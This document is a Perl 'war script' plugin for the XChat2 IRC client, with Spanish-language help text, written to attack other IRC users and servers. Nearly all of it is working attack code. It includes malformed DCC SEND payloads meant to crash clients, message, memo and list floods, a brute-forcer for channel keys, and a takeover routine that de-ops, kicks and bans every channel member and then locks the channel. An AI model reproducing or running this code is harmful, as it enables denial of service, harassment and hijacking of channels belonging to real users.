# # IRC-XChat2 War script by Sha0 #BadCheckSum # #!/bin/perl -w use IO::Socket; IRC::register ("war-xchat","1.0","fin",""); #IRC::add_message_handler ("hola","saludo"); IRC::add_command_handler ("whelp","whelp"); IRC::add_command_handler ("wnick","wnick"); IRC::add_command_handler ("tkover","tkover"); IRC::add_command_handler ("dccatt","dccatt"); IRC::add_command_handler ("dccattall","dccattall"); IRC::add_command_handler ("dccatts","dccatts"); IRC::add_command_handler ("nickfuck","nickfuck"); IRC::add_command_handler ("msgflood","msgflood"); IRC::add_command_handler ("listflood","listflood"); IRC::add_command_handler ("chanbrute","chanbrute"); IRC::add_command_handler ("msgflood","msgflood"); IRC::add_command_handler ("dccring","dccring"); IRC::add_command_handler ("memoatt","memoatt"); IRC::add_command_handler ("stop","stop"); IRC::print ("War-XChat Loaded (coded by Sha0)\n\n"); IRC::print ("Si desea obtener ayuda pulse /whelp\n"); sub linuxpowah { IRC::command "/SAY .-. "; IRC::command "/SAY /\0038v\003\\ "; IRC::command "/SAY // \\\\ "; IRC::command "/SAY /( )\\ Gnu/Linux powah "; IRC::command "/SAY \0034^^-^^ "; } my $server = IRC::get_info(3); my $yo_mismo = IRC::get_info(1); my $pass = "Sha0r00lz"; my $stop = 0; IRC::print ("Hola $yo_mismo ($server) preparado para atacar?\n"); sub whelp { IRC::print ("\0038\nOpciones:\n\003"); IRC::print ("/wnick si cambias de nick \n"); IRC::print ("/tkover Para hacerte con un canal (has de tener op)\n"); IRC::print ("/dccatt Para tumbar a alguien\n"); IRC::print ("/dccattall Para hacer ataques dcc a todos los del canal\n"); IRC::print ("/dccatts Para que el nick k pongas atake a la victima\n"); IRC::print ("/dccring atacar a todo el anillo irc (es una locura)\n"); IRC::print ("/nickfuck dcc flood mortal\n"); IRC::print ("/listflood Para tumar un servidor irc (o no)\n"); IRC::print ("/chanbrute Para sacar la clave de un canal cerrado\n"); IRC::print ("/msgflood Para tumbar a alguien\n"); IRC::print ("/unloadall Para quitar la war de tu xchat2\n"); IRC::print ("/stop Para dejar de atacar\n"); IRC::print ("/protection Para estar protegido contra kikeos\n"); IRC::print ("/memoatt Memo send flood contra nicks registrados\n"); IRC::print ("NOTA: Con estos ataques puedes caer del anillo irc, incluso ser klineado\n\n"); } sub wnick { chomp (); $yo_mismo = $_[0]; IRC::print ("Hola $yo_mismo\n"); } sub tkover { chomp (); my $chan = $_[0]; IRC::command ("/join $chan"); IRC::print ("Taking Over $chan muh4h4h4h4h4\n"); my %chan_nicks = IRC::user_list_short($chan,$server); my $dir = !0; my @nicks, @dirs; my $i,$pipol = 0; foreach $nick (%chan_nicks) { if ($dir) { push (@nicks,$nick); $pipol++; } else { push (@dirs,$nick); } $dir = !$dir; } &dccatt ($chan); for ($i=0;$i<$pipol;$i++) { if ($nicks[$i] ne "Sha0" && $nicks[$i] ne "zapper" && $nicks[$i] ne $yo_mismo) { IRC::command ("/mode $chan -o $nicks[$i]"); if ($stop) { $stop = 0; return; } } } for ($i=0;$i<$pipol;$i++) { if ($nicks[$i] ne "Sha0" && $nicks[$i] ne "zapper" && $nicks[$i] ne $yo_mismo) { IRC::command ("/kick $nicks[$i] te jodes"); IRC::command ("/mode $chan +b $dirs[$i]"); if ($stop) { $stop = 0; return; } } } IRC::command ("/mode $chan +k $pass"); IRC::command ("/mode $chan +i"); IRC::command ("/mode $chan +m"); IRC::command ("/mode $chan +R"); IRC::command ("/me owns you!! muh4h4h4h4h4h"); &linuxpowah (); } sub dccatt { chop(); IRC::print ("Atacando a $_[0]\n"); IRC::command ("/quote privmsg $_[0] :\x01DCC SEND \"a b c d e f g h i j k l m n o p q r s t u v w x y z 1 2 3 4 5 6 7 8 9 0 1 2 3 4 \" 1 2 3 2130706433 1111 \x01"); $ttwo=chr 32; $buffer="X$ttwo"x"300"; IRC::send_raw("PRIVMSG $_[0] :\001DCC send \"$buffer\" 0 2130706433 8192\001"); } sub dccattall { chomp(); my %gente = IRC::user_list_short($_[0],$server); my $bool = !0; foreach $nick (%gente) { if ($bool) { &dccatt ($nick); if ($stop) { $stop = 0; return; } } $bool = !$bool; } } sub dccring { } sub dccatts { my $nick=$_[0]; $ocket = IO::Socket::INET->new( PeerAddr=>"$server", PeerPort=>'6667' ) || IRC::command ("could not connect to $server: $!"); $line=""; until($line =~ /Ident/){ $oldline=$line; $line = <$ocket>; if($oldline ne $line) {print $line;} } print $ocket "user ident irc name ircname\n"; $line=""; until($line =~/PING/){ $oldline=$line; $line = <$ocket>; if ($oldline ne $line) {print $line;} } $line =~ s/.*://; print $ocket "PONG :$line\n"; print $ocket "nick $_[1]\n"; print $ocket "privmsg $nick :\x01DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \" 1079095848 666\x01\n"; close ($socket); } sub nickfuck { my $i; for ($i=1;$i<50;$i++) { &dccatt ($_[0]); if ($stop) { $stop = 0; return; } } } sub listflood { my $i; for ($i=1;$i<50;$i++) { IRC::command ("/list"); if ($stop) { $stop = 0; return; } } } sub msgflood { my $i, $j, $flood="8888"; IRC::print ("Generando flood\n"); for ($j=1;$j<88;$j++) { $flood = $flood.$flood; if ($stop) { $stop = 0; return; } } IRC::print ("Lanzando flood contra $_[0]\n"); for ($i=1;$i<88;$i++) { IRC::command ("/msg $_[0] $flood"); if ($stop) { $stop = 0; return; } } IRC::print ("Ataque finalizado\n"); } sub chanbrute { my @letras = ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","ñ","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"); chomp(); local ($base2="",$base="",$key="", $chan=$_[0], $i, $j, $k); IRC::print ("Iniciando bruteforce a $chan\n"); #1 digito for ($i=0;$i<@letras;$i++) { $key=$base.$letras[$i]; IRC::command ("/join $chan $key"); if ($stop) { $stop = 0; return; } } #2 digitos for ($j=0;$j<@letras;$j++) { $base=$letras[$j]; for ($i=0;$i<@letras;$i++) { $key=$base.$letras[$i]; IRC::command ("/join $chan $key"); if ($stop) { $stop = 0; return; } } } #3 digitos for ($k=0;$k<@letras;$k++) { $base2=$letras[$k]; for ($j=0;$j<@letras;$j++) { $base=$letras[$j]; for ($i=0;$i<@letras;$i++) { $key=$base2.$base.$letras[$i]; IRC::command ("/join $chan $key"); if ($stop) { $stop = 0; return; } } } } } sub memoatt { local ($i); IRC::print ("Lanzando ataque a $_[0] . . .\n"); for ($i=0;$i<100;$i++) { IRC::command ("/msg memo send $_[0] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); } } sub stop { $stop = 1; } sub fin { IRC::print ("Hasta luego!!\n"); }